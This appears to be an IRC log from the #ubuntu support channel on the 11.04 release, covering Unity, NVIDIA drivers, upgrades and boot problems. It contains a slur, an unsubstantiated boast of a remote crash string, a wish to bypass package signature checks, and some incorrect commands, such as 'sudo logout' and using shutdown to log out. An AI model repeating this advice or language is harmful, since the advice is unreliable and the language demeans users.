[16:13] <bl4ckcomb`> maximm, do you use some kind of desktop composition?
[16:13] <rpk> noteventime: no, thats what i wish it did
[16:14] <NyvenZA> I then stopped lightdm again and just ran startx
[16:14] <ActionParsnip> dennda: not sure, could log it
[16:14] <maximm> compiz
[16:14] <chadi> is it safe to kill ubiquity?
[16:14] <Dr_Willis> shane4ubuntu1:  the ombubuntu blog site has a wallpaper image listing the shortcuts
[16:14] <rpk> ActionParsnip: I can't do that for every ppa all day long.  Thats why I want to just disable gpg
[16:14] <shane4ubuntu1> also on pidgin I have no scroll bar to scroll down on this thing, or up.
[16:14] <NyvenZA> I get the desktop icons appearing and the mouse, but no menus, side bar and rightclick mensues
[16:14] <Dr_Willis> shane4ubuntu1:  look closely.. the scroll bar sort of auto-hide in a lot of apps now
[16:14] <bl4ckcomb`> maximm, maybe you should recheck your xorg configuration or read your messages log for compiz errors
[16:16] <ActionParsnip> rpk: if you go to the ppa page, you'll see the key and you can copy / paste the text to a file then run:  sudo apt-key add file
[16:16] <usr13> rpk: Did you do as ActionParsnip said and add the config line appropriately?
[16:16] <maximm> yeah will do some digging thnx
[16:16] <rpk> ActionParsnip: invalid gpg keys letting malicious software be installed isn't a real world problem
[16:16] <shane4ubuntu1> Dr_Willis: I'm sorry, not another desktop, I have dual screen and want to drag it over to the other screen
[16:16] <rpk> usr13: yeah
[16:16] <chadi> Please help me guys, I am stuck in the middle of the installation :/
[16:16] <ActionParsnip> rpk: well you have a workaround til it gets sorted
[16:16] <rpk> usr13: it was already there, apt-add-repository doesn't respect that setting
[16:16] <NyvenZA> when I try and click on an icon and trag it, the mouse Icon changes to a drag icon, but nothing actaully happens to the icons ont he desktop
[16:16] <Dr_Willis> shane4ubuntu1:  if full screened. they are proberly locked. you would need to un-max them  Perhaps a compiz keybinding coulkd do it without unmaxing them first
[16:16] <rpk> ActionParsnip: its been open since early 9.04 builds
[16:16] <ActionParsnip> chadi: if it hasn't finished then you will have half an OS
[16:16] <mtlife> why is there a debian splash screen in grub AND in gdm when i upgraded to 11.04?
[16:16] <ActionParsnip> rpk: yikes
[16:16] <rpk> ActionParsnip: I had the same problem in 10.10
[16:16] <shane4ubuntu1> Dr_Willis: as for the scroll bar, right, but in pidgin it just doesn't exist, when I scroll over to where it should be and get the arrows, there aren't any.
[16:16] <shane4ubuntu1> Dr_Willis: thanks.
[16:16] <CoolCoder> hi. I have upgraded my system to ubunto 11.x (new version .) I need to use the old theme of 10.x .what should i do? because there is no taskbar and all in new version. so i am feeling unconfortable to find the programs
[16:16] <Liiin> ??
[16:16] <Dr_Willis> shane4ubuntu1:  i dont use pidgin. so no idea. :) could be a bug.
[16:16] <ActionParsnip> rpk: glad I stopped using a proxy
[16:16] <gtklocker> https://twitter.com/#!/gtklocker/status/63692581170716672 RT if you like it >.<
[16:16] <maximm> coolcoder use classic mode
[16:16] <ActionParsnip> shane4ubuntu1: on the buddy list window or the channel window?
[16:16] <rpk> ActionParsnip: yeah, I'm at work unfortunately.
[16:16] <CoolCoder> where do i get this?
[16:16] <maximm> change it at the login screen
[16:16] <Dr_Willis> !classic
[16:16] <shane4ubuntu1> Dr_Willis: for the full screen app, I was hoping to get around that, but thanks, also for the pidgin thanks anyway.
[16:16] <Dr_Willis> sounds like we need a new faq factoid. :)
[16:16] <DasEi> CoolCoder: switch back to gnome
[16:17] <shane4ubuntu1> ActionParsnip: for the channel window
[16:17] <serene> !classic
[16:17] <CoolCoder> DasEi:any help?
[16:17] <DasEi> CoolCoder: : under powerbutton > set default session > gnome-classic
[16:17] <DasEi> CoolCoder: : then re-login
[16:17] <ActionParsnip> shane4ubuntu1: yeah I've got one on the main window as well as the user list
[16:17] <Dr_Willis> DasEi:  heh.. never noticed that.. looking now.
[16:17] <shane4ubuntu1> after about a day of using Unity, and breaking it twice, I'm getting more accustomed to it.
[16:17] <ActionParsnip> shane4ubuntu1: i'm using uity though
[16:18] <shane4ubuntu1> ActionParsnip: yeah, I'm on unity too
[16:18] <ActionParsnip> rpk: i see, then all I can suggest is use the workaround
[16:18] <Dr_Willis> bbl
[16:18] <usr13> rpk: https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/516032
[16:18] <ubottu> Ubuntu bug 516032 in software-properties (Ubuntu) "add-apt-repository doesn't work behind a proxy" [Undecided,Fix released]
[16:18] <shane4ubuntu1> ActionParsnip: when I go over the users, a scroll bar (arrows) pop up, but not so for the channel window.
[16:18] <CoolCoder> DasEi: under power button there is no such option.
[16:19] <Asad2005> alltray firefox doesnot show atray icon in natty. Any idea?
[16:19] <shane4ubuntu1> ActionParsnip: ahh, found it, on the users list, it is only towards the top, and the channel list only towards the bottom on the left hand side of both they appear.
[16:19] <ActionParsnip> shane4ubuntu1: nice
[16:19] <shane4ubuntu1> ActionParsnip: odd, but they are there, thanks.
[16:20] <rpk> usr13: They didn't previously verify the gpg keys
[16:20] <rpk> usr13: you could bypass the invalid keys by default, so it wasn't a problem
[16:20] <rpk> usr13: it no longer responds to the --allow-unauthenticated switch though
[16:20] <koichirose> Hello, I just upgraded to Ubuntu 11.04 and many firefox icons don't show up anymore, including the back button, stop button and the firefox icon itself (!). How do I fix it? I already tried to reset to default toolbars
[16:20] <DasEi> CoolCoder: : right top, there should be a symbol to power down..
[16:20] <NyvenZA> does unity REQUIRE 3d >
[16:21] <DasEi> CoolCoder: : ..systemsettings, loginscreen
[16:21] <ActionParsnip> NyvenZA: yes
[16:21] <NyvenZA> ah
[16:21] <CoolCoder> k
[16:21] <NyvenZA> that might be my problem then
[16:21] <ninjai> some applications (eclipse, libre office) still have the menu items on the windows instead of the top panel.  What gives?
[16:21] <ChogyDan> koichirose: do you have all the toolbars enabled?
[16:21] <ActionParsnip> koichirose: set a new theme and it should be ok
[16:21] <NyvenZA> is there a 2d version or something I can do to make it work on older hardware >
[16:21] <mtlife> where can i change gdm theme in ubuntu 11.04?
[16:21] <koichirose> ChogyDan, yes. I see empty buttons.
[16:21] <rpk> How did they release unity with so many high priority bugs open?
[16:22] <koichirose> ActionParsnip, a new ubuntu theme you mean? But I like my human ^^
[16:22] <Skei> Hey everyone. I've just upgraded to 11.04, and when I boot, my screen just stays black. I'm now under an earlier kernel which seems to work, but I got an error saying I didn't have the hardware to run Unity, and I should select something else. Any ideas ?
[16:22] <usr13> rpk: Are you looking at post#15 ?
[16:22] <rpk> Every problem I have with it returns a launchpad bug listed as high priority, but still open
[16:22] <CoolCoder> DasEi: Its locked. dont know why, and i am the admin
[16:22] <CoolCoder> DasEi: ok ok
[16:22] <CoolCoder> sorry
[16:22] <NyvenZA> Skei: i also seem to have this problem
[16:22] <somethinginteres> Skei: do you have the hardware to run it?
[16:22] <ActionParsnip> koichirose: no, the issue is with firefox, so you need a firefox theme.If you keep to the context of the question, that would have been clear
[16:22] <NyvenZA> still looking for a solution
[16:22] <DasEi> CoolCoder: : :)
[16:23] <rpk> usr13: thats actually already been fixed by default, in 10.10 I believe
[16:23] <ActionParsnip> NyvenZA: what video chip are you using?
[16:23] <Skei> somethinginteres, I assume so. i5, GTX 560, 8 GB RAM. It's a new box.
[16:23] <NyvenZA> nvidia 8300
[16:23] <Skei> NyvenZA, are you running under an older kernel for now, then ?
[16:23] <elxordi> hi, can someone help my with a graphics issue on my ubuntu 11.04?
[16:23] <rpk> (I've gone through like 5 different bug reports, and tried almost all of the suggestions for config hacks.  Newer reports for more recent versions just don't get replied to)
[16:23] <ActionParsnip> Skei: http://idyllictux.wordpress.com/2010/04/26/lucidubuntu-10-04-high-resolution-plymouth-virtual-terminal-for-atinvidia-cards-with-proprietaryrestricted-driver/
[16:23] <nanovany> ya se pudo activar unity de nuevo!! :D graias
[16:23] <mtlife> where can i change gdm theme in ubuntu 11.04?
[16:23] <somethinginteres> Skei: hmm you should post in  #ayanta as well
[16:23] <usr13> rpk: How about post#9  ?
[16:24] <ActionParsnip> NyvenZA: install nvidia-current and it will be fine after a reboot
[16:24] <agonzalez> Hi everyone, I am here to find help with my NVIDIA GT330M, I installed the latest driver (270.46) now the X does not work
[16:24] <NyvenZA> Skei: I tried it, but then X didn't even start
[16:24] <Osmodivs> Why can't I upgrade to 11.04 from terminal? I am typing the right commands: sudo apt-get dist-upgrade
[16:24] <ActionParsnip> agonzalez: try:  sudo nvidia-xconfig    andreboot
[16:24] <Osmodivs> Am i missig somethig?
[16:24] <ChogyDan> Osmodivs: it is: sudo do-release-upgrade
[16:24] <ActionParsnip> Osmodivs: yes thats not the command
[16:24] <Osmodivs> Oh, thank you
[16:24] <Osmodivs> my bad
[16:24] <usr13> Osmodivs: sudo apt-get update ; sudo apt-get dist-upgrade
[16:25] <NyvenZA> i  installed the nvidia 270.41.06 and also seem to have issues
[16:25] <agonzalez> i already tried that, the same thing happened with Ubuntu 10.10
[16:25] <spacebug-> is there a way to change the default keybindings for unity? (if they conflic with my own)
[16:25] <Osmodivs> usr13, They say that's NOT the right command
[16:25] <Skei> NyvenZA, those are the drivers I need, too.
[16:25] <usr13> Osmodivs: What command?
[16:25] <ActionParsnip> NyvenZA: then try: nvidia-173
[16:25] <Skei> ActionParsnip, NyvenZA, trying nvidia-current, will let you know.
[16:26] <NyvenZA> ActionParsnip: Actually I have a 7300 not 8300
[16:26] <varun> shane4ubuntu1:
[16:26] <Osmodivs> usr13, dist-upgrade, it's do-release-upgrade
[16:26] <katorz> hi. How can I do to have the Unity interface ?
[16:26] <NyvenZA> ActionParsnip: whre can I get that ?
[16:26] <ActionParsnip> NyvenZA: try: sudo apt-get install nvidia-173    may help
[16:26] <DasEi> agonzalez: logout to terminal, try to run : sudo nvidia-xconfig, restart gdm (sudo service gdm restart)
[16:26] <NyvenZA> ok
[16:26] <elxordi> katorz: sudo apt-get install unity
[16:26] <lucas-arg> im having problems during boot... ubuntu 11.04 gives me some irq problem and then cap locks keeps blinking and ubuntu wont boot... i have to reboot 2-3 times to make it boot... what would be the problem?
[16:26] <katorz> elxordi: I'm on a live usb persistant
[16:26] <Osmodivs> E: Invalid operation do-release-upgrade
[16:27] <Osmodivs> What?!
[16:27] <Rigorm0rtis> Hello. I'm having some trouble with Thunderbird and Unity. I can't access the main menu for the application. Any know what's going on?
[16:27] <NyvenZA> ok dl'ing
[16:27] <Sylphid> Osmodivs, sudo apt-get install update-manager-core && sudo do-release-upgrade
[16:27] <ActionParsnip> !upgrade | Osmodivs
[16:27] <ubottu> Osmodivs: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[16:27] <gnychis> how can I enable Unity in the Preferences or Administration?
[16:27] <ActionParsnip> Osmodivs: instead of trying to guess, why not read the upgrade documentation
[16:27] <elxordi> katorz: which ubuntu version?
[16:27] <NyvenZA> ActionParsnip: how will I force that driver to be used?
[16:27] <ActionParsnip> NyvenZA: udev will make it so
[16:27] <katorz> elxordi: the 11.04
[16:27] <DasEi> lucas-arg: seems kernelpanic, check your bios setting an rebuild intramfs
[16:28] <usr13> rpk: Server may simply be flooded atm  This is probably not the best time...
[16:28] <lucas-arg> DasEi: what am i supposed to look in my bios? its all in defaults...
[16:28] <NyvenZA> so i must make sure it is corect there before reboot?
[16:28] <elxordi> katorz: on live, there's already the unity interface activated, if it doesn't show up, maybe the problem is that your graphic doesnt have the correct drivers on live
[16:28] <lucas-arg> DasEi: it was working all ok until last kernel upgrade
[16:28] <vibhav> anybody with any problem?
[16:28] <Osmodivs> ActionParsnip, I want to use the terminal to see what's happenning, otherwise I could just use the Update Manager GUI
[16:29] <rpk> usr13: Its only with non standard ppas, because the default ones come with signatures included. Its just ridiculous that this hasn't been fixed yet, and that people are just ignoring ubuntu forum posts about it
[16:29] <usr13> Osmodivs: Ok, well, they both prolly work still
[16:29] <elxordi> vibhav: me, graphic issue. Interested? :P
[16:29] <Monotoko> urm...whos Vera?
[16:29] <ActionParsnip> Osmodivs: there is the server method listed, use that
[16:29] <vibhav> <elxordi> Yeah
[16:29] <evilsushi> is there a alternative cd download for ubuntu 11.04?
[16:29] <DasEi> lucas-arg: make sure you can access grub's menu, and cd into boot and do : sudo updateinitramfs -u of your current kernel
[16:29] <ActionParsnip> !download
[16:29] <ubottu> Ubuntu installation CDs can be downloaded from http://releases.ubuntu.com - Mirrors can be found at http://wiki.ubuntu.com/Mirrors - PLEASE use the !torrents to download !Natty, and help keeping the servers' load low!
[16:29] <katorz> elxordi: I tried to install nvidia drivers but there's nothing
[16:29] <vibhav> <evilsushi> Yes
[16:30] <ChogyDan> Osmodivs: do you have update-manager-core installed?
[16:30] <Osmodivs> ActionParsnip, Server!? I do not have a server
[16:30] <evilsushi> does it offer the lvm encryption such as previous alternate installs?
[16:30] <mtlife> where can i change gdm theme in ubuntu 11.04?
[16:30] <vibhav> <elxordi> Whats your problem??
[16:30] <elxordi> vibhav: i've runned glxgears, and gives me good framerate, but graphics arent smoother. That's with latest Ati drivers. any ideas?
[16:30] <NyvenZA> ActionParsnip: ok, now I get a login screen at least
[16:30] <ActionParsnip> Osmodivs: yes but the server method uses cli as that is all it has, no x server
[16:30] <ChogyDan> Osmodivs: or ubuntu-standard
[16:30] <vibhav> <elxordi> lemme see
[16:30] <lucas-arg> DasEi: ive done it... sudo update-initramfs -u && sudo update-grub && sudo grub-install /dev/sda
[16:30] <DeadmanIncJS> is this a general chat for ubuntu or just for tech support type stuff
[16:30] <elxordi> katorz: if you install them live and you restart, the canges doesnt apply. You must install ubuntu on hard disk
[16:30] <oussama> list
[16:30] <ActionParsnip> Osmodivs: sudo apt-get install update-manager-core; sudo do-release-upgrade
[16:31] <SoftTimur> Hello all, does anyone know how to tile windows under ubuntu 11.04? for instance, place a window on the left or right half of the screen...?
[16:31] <Pici> DeadmanIncJS: Just tech support. General chat in #ubuntu-offtopic
[16:31] <elxordi> vibhav: i've googled for a while and found nothing :(
[16:31] <Skei> ActionParsnip, installing nvidia-current allowed me to boot into my new kernel. Thanks very much.
[16:31] <ActionParsnip> Osmodivs: copied and pasted from: https://help.ubuntu.com/community/NattyUpgrades
[16:31] <DeadmanIncJS> k, thanks buddy
[16:31] <usr13> DeadmanIncJS: Tech support.  General chat is on #ubuntu-offtopic
[16:31] <evilsushi> DeadmanIncJS: #ubuntu-offtopic
[16:31] <ActionParsnip> Skei: coolio
[16:31] <Skei> ActionParsnip, now I need to install the dev drivers instead, and see if it holds out :P
[16:31] <ActionParsnip> Skei: your call, gl
[16:31] <Skei> Also going to switch back to Classic Desktop, I think...
[16:31] <DasEi> lucas-arg:good aproch, maybe enable grub's beep and have a loonger timeout, so you can easy use an older kernel, case problem resists
[16:31] <rpk> Also, does anyone know if they fixed the ubi-partman installer bug?  My dad couldn't even install on x64 last night.
[16:31] <katorz> elxordi: but there's no driver
[16:32] <katorz> I can't try to instal them
[16:32] <Osmodivs> ChogyDan, I dunno, but I typed  apt-get install update-manager-core && sudo do-release-upgrade, but it is just upgrading Python 3.1
[16:32] <lucas-arg> DasEi: ill try downgrading the kernel then...
[16:32] <ActionParsnip> rpk: did you MD5 test the ISO you downloaded?
[16:32] <DasEi> lucas-arg:(/etc/default/grub)
[16:32] <DasEi> lucas-arg :  (/etc/default/grub) *
[16:32] <elxordi> katorz: what graphics device has your computer?
[16:32] <rpk> ActionParsnip: yep, also ran the test cd for defects from the cd itself
[16:32] <gmitrev> hi guys, anyone has any idea why my network applet is missing after the update?
[16:32] <ActionParsnip> rpk: and memory test?
[16:32] <lucas-arg> DasEi: all there is default also...
[16:32] <vibhav> <elxordi> http://paste.ubuntu.com/600825/
[16:32] <ChogyDan> Osmodivs: I dunno, pastebin?
[16:32] <rpk> ActionParsnip: yeah.
[16:33] <vibhav> whats your problem chadi?
[16:33] <rpk> Its great that they want to release every 6 months, but someone should really introduce them to the idea of tested configurations and blockers
[16:33] <dennda> Is it me or does unity totally fuck up with gvim?
[16:33] <katorz> elxordi: a 8400 gs nvidia card
[16:33] <ActionParsnip> rpk: in the livecd, update the gparted and ubiquity packaes from the repos, may help
[16:33] <arrow203> Good morning, I just did an online, inplace upgrade of 10.10 last night to 11.04.  Now, on first boot, I receive an error and it hangs - udevd-work[90]: '/sbin/modprobe -bv pci:v000010DEd000001D7sv00001179sd0000FF31bc03sc00i00' unexpected exit with status 0x0009
[16:33] <vibhav> <dennda> WATCH YOUR LANGUAGE!
[16:33] <Renski> having an issue with my netbook which has ubuntu 10.10 installed on it. everytime I run ifconfig wlan0 down the entire machine locks up
[16:33] <DasEi> lucas-arg :  beep and longer timeout can make choosing other kernel easier,case ongoing panics
[16:33] <chadi> vibhav: I killed ubiquity, and restarted it; it's fine now - thank you for asking
[16:33] <dennda> vibhav: STOP SCREAMING!
[16:34] <lucas-arg> DasEi: weird bug
[16:34] <rpk> ActionParsnip: so boot into the livecd and try updating packages before running the installer?  i'll have him try that later tonight then
[16:34] <arrow203> my guess is there's some sort of driver issue due to the modprobe - forgive me, I'm not especially familiar with Linux... advice?
[16:34] <elxordi> vibhav: cool, i can understand now. anyway, with the 11:04 update, all system has not smooth graphics... either with radeon driver
[16:34] <DasEi> lucas-arg :  not occuring in my vm
[16:34] <elxordi> katorz: wait a second, please
[16:34] <vibhav> <elxordi> Ok
[16:34] <ActionParsnip> rpk: yeah it may solve bugs and such
[16:35] <elxordi> vibhav: so, if that happened to you, what would you do?
[16:35] <vibhav> <elxordi> Leave it as it is.....As i know the graphic capabilities of my card.
[16:36] <lucas-arg> DasEi: i installed a 64bits version of ubuntu and now i have a 32bits kernel instead???? how can i see what my ubuntu version is??
[16:36] <evilsushi> how hard is it going to be to upgrade from 10.10 to 11.04?
[16:36] <elxordi> vibhav: well, that f*** me a little, because with previous ubuntu my card was great
[16:36] <compdoc> can be easy, but sometimes it blows up
[16:36] <vibhav> <evilsushi> I recommend a fresh install
[16:36] <DasEi> lucas-arg :  ups, uname -a and lsb_release -a
[16:36] <dennda> Also there is some considerable lag in unity, e.g. in vim and terminal starts behaving laggish as well
[16:36] <evilsushi> yeah thats not an option
[16:36] <vibhav> <elxordi> ohh.
[16:36] <sipior> evilsushi: an upgrade is very straightforward.
[16:37] <rpk> ActionParsnip: There are open bugs for the exact issue, https://bugs.launchpad.net/ubuntu/+source/ubiquity/+bug/757720
[16:37] <ubottu> Ubuntu bug 757720 in ubiquity (Ubuntu) "ubi-partman crashes with exit code 141 during live install" [Medium,Incomplete]
[16:37] <dennda> but in vim it is not at all funny
[16:37] <Vhozard> is Landscape commercial ?
[16:37] <Pici> Vhozard: Yes.
[16:37] <vibhav> <evilsushi> A liitle prob in the upgrade can screw the whole system
[16:37] <Vhozard> anything like it thats free ?
[16:37] <evilsushi> does 11.04 have a LTS?
[16:37] <vibhav> Hi Pici
[16:37] <arrow203> anyone?  re: modprobe crash above?
[16:37] <xangua> evilsushi: no
[16:37] <vibhav> <evilsushi> no
[16:37] <Pici> evilsushi: No. 12.04 will be the next LTS
[16:37] <elxordi> katorz: tell me what happens, from the point you choose "Try ubuntu without install", until the point the desktop is loaded, please
[16:37] <vibhav> Hi Pici
[16:37] <DasEi> evilsushi: no, lucid is lts
[16:37] <evilsushi> every 2 years
[16:37] <rpk> How is that rated medium?  Its an install failure.  You can't even install ubuntu due to the error. :/
[16:37] <DasEi> !lts
[16:37] <ubottu> LTS means Long Term Support. LTS versions of Ubuntu will be supported for 3 years on the desktop, and 5 years on the server. The current LTS version of Ubuntu is !Lucid (Lucid Lynx 10.04)
[16:38] <Pici> dennda: I find unity to be not compatible with the way I work. You can still choose Classic Ubuntu from GDM.
[16:38] <lucas-arg> DasEi: it says i686... im sure i had 64bits installed...
[16:38] <Pici> vibhav: hi
[16:38] <ActionParsnip> rpk: maybe updates will help
[16:39] <Nastya> hi there!
[16:39] <The-Stinger> Updated 10.10 to 11.04. But now I don't have any sound in Minecraft.
[16:39] <fsvieira> hello, I just installed the last ubuntu, and I would like to install a session manager to choose betewn gnome and unity, I installed gnome and gdm but there is no choice in login...how can I solve this ?
[16:39] <DasEi> lucas-arg :  cat /proc/version another place to look
[16:39] <wizards> i install gnome3 but ... unity and gnome3 for me ist very similar  :( its devil dream
[16:40] <xangua> fsvieira: select 'classic' session
[16:40] <rpk> ActionParsnip: yeah.  Oh, and sorry about raging in general.  If it isn't obvious already, I develop software for a living, and I can't stand to see such poor QA in such a core open source project
[16:40] <DasEi> fsvieira: it's undeer the powerbutton > systemsettings > loginscreen
[16:40] <lucas-arg> DasEi: Linux version 2.6.38-8-generic (buildd@vernadsky) (gcc version 4.5.2 (Ubuntu/Linaro 4.5.2-8ubuntu3) ) #42-Ubuntu SMP Mon Apr 11 03:31:50 UTC 2011
[16:40] <ActionParsnip> rpk: no worries dude :)
[16:40] <xangua> !gnome3 | wizards
[16:40] <ubottu> wizards: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[16:40] <wizards> :D nice bot :D
[16:40] <jdahm> can I create a dock "launcher" entry for applications that don't show up under "applications"?
[16:40] <katorz> elxordi: I have a x64 ubuntu. So nothing special, I just installed pidgin to chat. There was no boot screen (the one with my name). I landed directly on the desktop.
[16:40] <DasEi> lucas-arg :  32 then
[16:40] <gtklocker> lol
[16:41] <dennda> Pici: Yes, the thing is I want to use unity
[16:41] <lucas-arg> DasEi: weird... i might be confused... ill try installing -pae then
[16:41] <dennda> To get familiar with it
[16:41] <fsvieira> ok I will try
[16:41] <Pici> dennda: Good luck then :)
[16:41] <gtklocker> Unity is awesome
[16:41] <elxordi> katorz: and the desktop, i supose, is the default gnome desktop... isnt it?
[16:41] <NyvenZA> ok, now I am just get frustrated. i installed lightdm, and now I can get to the login screen. I can select sessions and I have tried classic, Classic (no effects) and ubuntu recovery and all of them boots Unity and I can't do see anything change in the X sessions..
[16:41] <katorz> elxordi: yes exactly
[16:41] <jacobson> Hey, I upgraded from 10.10 to 11.04 beta 2 before the release of the 11.04, and now i'm wondering if is there a way to upgrade from 11.04 beta2 to 11.04 stable
[16:41] <jacobson> thank
[16:41] <jacobson> s
[16:42] <NyvenZA> I can click on an icon and drag it, but the icons stats on the screen
[16:42] <incog> how would you fags feel if i told you i can crash all ubuntu versions, including natty with a remote string
[16:42] <NyvenZA> if i restart the session, the icon has moved to where i dragged it too
[16:42] <elxordi> katorz: have you considered intalling it? maybe from the live doesnt let you to install any nvidia drivers knowing you must reboot
[16:42] <Atluxity_> mighty impressed incog
[16:42] <gtklocker> https://twitter.com/#!/gtklocker/status/63692581170716672 Ubuntu custom kernel compilation (my article)
[16:42] <compdoc> jacobson, I would think apt-get would see the released version as a new update
[16:42] <incog> not really, apt is just that bad
[16:42] <vibhav> <incog> Do it! and send me the string
[16:42] <adelie42> I am using gnome-shell. When I search for applications, specific applications are listed. How do I add an app (custom script) to that index?
[16:43] <adelie42> tried putting it in /bin and restarted session, but that didn't help
[16:44] <Atluxity_> I have a bug with my newly upgraded ubuntu. I started xchat, unmaximised it, right click, sendt to workspace 4. Now my xchat has no minimize button or close cross or unmaximize button at the top :\
[16:44] <gmitrev> hi guys, anyone has any idea why my network applet is missing after the update? It connects just fine but there is no indicator applet for it?
[16:44] <vibhav> do it incog
[16:44] <katorz> elxordi: yes but I did a live usb persistant to test unity because I have to install graphic drivers and to reboot. Impossible without a live usb persistant.
[16:44] <karlo> what is command for logout ?
[16:45] <jdahm> I have some applications that aren't installed through apt that I would like to inclue in my dock on unity.  Can I add them?  How do I add them?
[16:45] <elxordi> katorz: maybe a better way to test that is with virtualbox
[16:45] <katorz> elxordi: I prefer to wait several days to upgrade to the 11.04 version.
[16:45] <DasEi> karlo: depends, out of gdm ? or logout from what ?
[16:45] <elxordi> katorz: i agree with you. i've updated right now and i'm kinda f**** lol
[16:46] <katorz> elxordi: yes, the last solution... did you install th 11.04?
[16:46] <karlo> from computer
[16:46] <vibhav> any body with a problem??
[16:46] <ActionParsnip> jdahm: make a launcher for it then drag the launcher to the dock
[16:46] <DasEi> karlo: logout or exit or ctrl-D
[16:46] <gmitrev> anyone has any idea why my network applet is missing after the update? It connects just fine but there is no indicator applet for it?
[16:46] <katorz> elxordi: what's the problem with your ubuntu ?
[16:46] <jdahm> ActionParsnip: how do you make a launcher?
[16:47] <adelie42> ActionParsnip: How do you make a launcher in gnome-shell?
[16:47] <ActionParsnip> jdahm: use alacarte or right click desktop
[16:47] <adelie42> ActionParsnip: Or unity for that matter?
[16:47] <karlo> DasEi, not working, I tryed that in past :/
[16:47] <elxordi> katorz: well, everything works. But graphics performance doesnt work much great. Not smooth.
[16:47] <Younder> Yes, seems safe mode works. But with the NVidea proprietary driver .nothing works. Not entirely sure it it is just me and that I have the right diagnosis yet..
[16:47] <DasEi> karlo: you want to shutdown from commandline ?
[16:47] <ActionParsnip> adelie42: same method, use alacarte
[16:47] <lacrymology> how do I find out what video drivers am I using?
[16:47] <lacrymology> and how do I change my screen resolution?
[16:47] <ActionParsnip> lacrymology: sudo lshw -C display
[16:48] <karlo> DasEi, no, I wanna logout user from ubuntu
[16:48] <DasEi> karlo: sudo shutdown -h now, or sudo service gdm stop to just get to the commandline
[16:48] <cablop> hello
[16:48] <cablop> i need a suggestion in a software to detect Wireless Networks and the channel they're using, not kismet, kismet is more than what i need, i just need to know, available networks, channels in use and signal strenght, just to help in choosing the wireless channel of a wlan
[16:48] <The-Stinger> dont have any sound in Minecrafter after updating 11.04. Anyone know a sollution?
[16:48] <adelie42> ActionParsnip: THANK YOU!!!!
[16:48] <DasEi> karlo: sudo logout >userHere>
[16:48] <karlo> DasEi, tnx
[16:48] <Sylphid> cablop, iwlist
[16:48] <vibhav> <gmitrev>  refer to http://www.ubuntugeek.com/how-to-fix-network-manager-applet-missing-from-notification-area-in-ubuntu-10-04.html
[16:48] <ActionParsnip> cablop: sudo iwlist scan     will show all that
[16:48] <lacrymology> ActionParsnip: driver=nvidia means I'm using the propietary driver, right?
[16:48] <ActionParsnip> lacrymology: yes
[16:49] <ActionParsnip> lacrymology: the open drivers are nv and nouveau
[16:49] <cablop> let me try
[16:49] <NyvenZA> ok, I want to try and remove unity totally and see if I can can info X properly
[16:49] <NyvenZA> what woul be the best way to remove unity?
[16:49] <cablop> Sylphid, ActionParsnip will i lost wlan connectivity with that command?
[16:49] <Sylphid> cablop, nope
[16:49] <katorz> elxordi: In my mind, I'll wait at least a month before to install it lol. Thank you for your help. ;-)
[16:50] <elxordi> katorz: You're welcome. I'm sorry i couldn't help you much more. But i hate graphic drivers on ubuntu lol
[16:50] <cablop> Sylphid, ActionParsnip thanks a lot
[16:51] <katorz> lol
[16:51] <lacrymology> good, then, how do I change the resolution? when I open System/Preferences/Monitors it complains that "it appears that your graphics driver does not support the necessary extensions to use this tool. Do you want to use your graphics vendor's tool instead?" and if I click 'yes' I don't find anything to change the resolution
[16:51] <cablop> is there any gui for that? i can use this, but barely i can ask others to use CLI
[16:51] <lacrymology> oh wait
[16:51] <lacrymology> found it
[16:52] <elxordi> my graphics arent smooth with ubuntu 11.04, and they where on 10.10, with ATI latest driver. Why's that???
[16:52] <areay> just upgraded to natty, but i have no unity -- my desktop hasn't changed at all
[16:52] <Kouta-kun>  i upgraded to natty and my install broke so much i'm switching distros
[16:52] <Doonz> hey guys im using rsync to copy data from one raid array to the other. When i run rsync a 2nd time it retransfers all the files. how do i make rsync stop doing that
[16:52] <Doonz> im just using the -vr options
[16:52] <chadi> I highly dislike unity. It's not even optimized for touch screens! Can I not use it?
[16:52] <DirtyDawg> Kouta-kun: to which distro?
[16:52] <jdahm> ActionParsnip: ok I added it in alacarte
[16:52] <elxordi> areay: try intalling it with sudo apt-get install unity
[16:53] <cablop> any GUI tool able to scan Wireless Networks giving me signal strenght, channel in use, and the like? (iwscan is ok for me, but...)
[16:53] <jdahm> ActionParsnip: it's still not in the applications menu in unity
[16:53] <chadi> areay: video drivers
[16:53] <KNUBBIG> Hey, I remember someone asked that already today but I didn't get the solution: When I click "Shutdown" in 11.04, it just simply logs me out instead of really shutting down, but "sudo shutdown -h now" works fine. Any ideas or do I have to search the log?
[16:53] <vibhav> <cablop> "Wifi Radar" in Ubuntu Software Center
[16:53] <areay> chadi: afaik my video drivers are installed and working correctly. i didn't get a message to say unity wouldn't work
[16:54] <ActionParsnip> jdahm: when you run it, right click the app and select "Keep in launcher"
[16:54] <cablop> vibhav: giving it a look
[16:54] <vibhav> <cablop> GL
[16:54] <spungo> is there a mini iso for 11.04 available? I can only find 10.10
[16:54] <oussama> there a CD iso
[16:55] <vibhav> <spungo> on cd and dvd iso
[16:55] <oussama> about 650 Mo
[16:55] <areay> chadi: also pressing alt+f2 and running unity produces something but it's totally unusable
[16:55] <areay> and i have to hide my gnome panel to see it
[16:55] <venik> cannot upgrade to 11.04-- "Could not calculate the upgrade"...
[16:55] <qkit> hi guys, wonder what package i needed to install so i can connect to my windows xp share folder?
[16:55] <yuskhanzab> hello all. need help here how to undo the "complete lock panel" in ubuntu after updating to natty?
[16:56] <venik> this bug has been there for 5 years...
[16:56] <elxordi> qkit: samba packages
[16:56] <venik> AMD64
[16:56] <ActionParsnip> venik: do you have "ubuntu-desktop" package installed/
[16:56] <jen> helo ?
[16:56] <venik> it worked fine on another machine (32 bit)
[16:56] <elxordi> qkit: and then, on nautilus, press ctrl+l and write smb://
[16:56] <venik> I removed Ubuntu-desktop
[16:57] <chadi> areay: then I am sorry, I do not know
[16:57] <venik> made no difference
[16:57] <perlsyntax> Has anyone have prob with install ubuntu 11.04?And seem like it take longer then ubuntu 10.10 not sure why.
[16:57] <Liiin> umash and chmod works in the same manner?
[16:57] <yuskhanzab> hello all. need help here how to undo the "complete lock panel" in ubuntu after updating to natty?
[16:57] <ChogyDan> venik: please don't use enter as punctuation
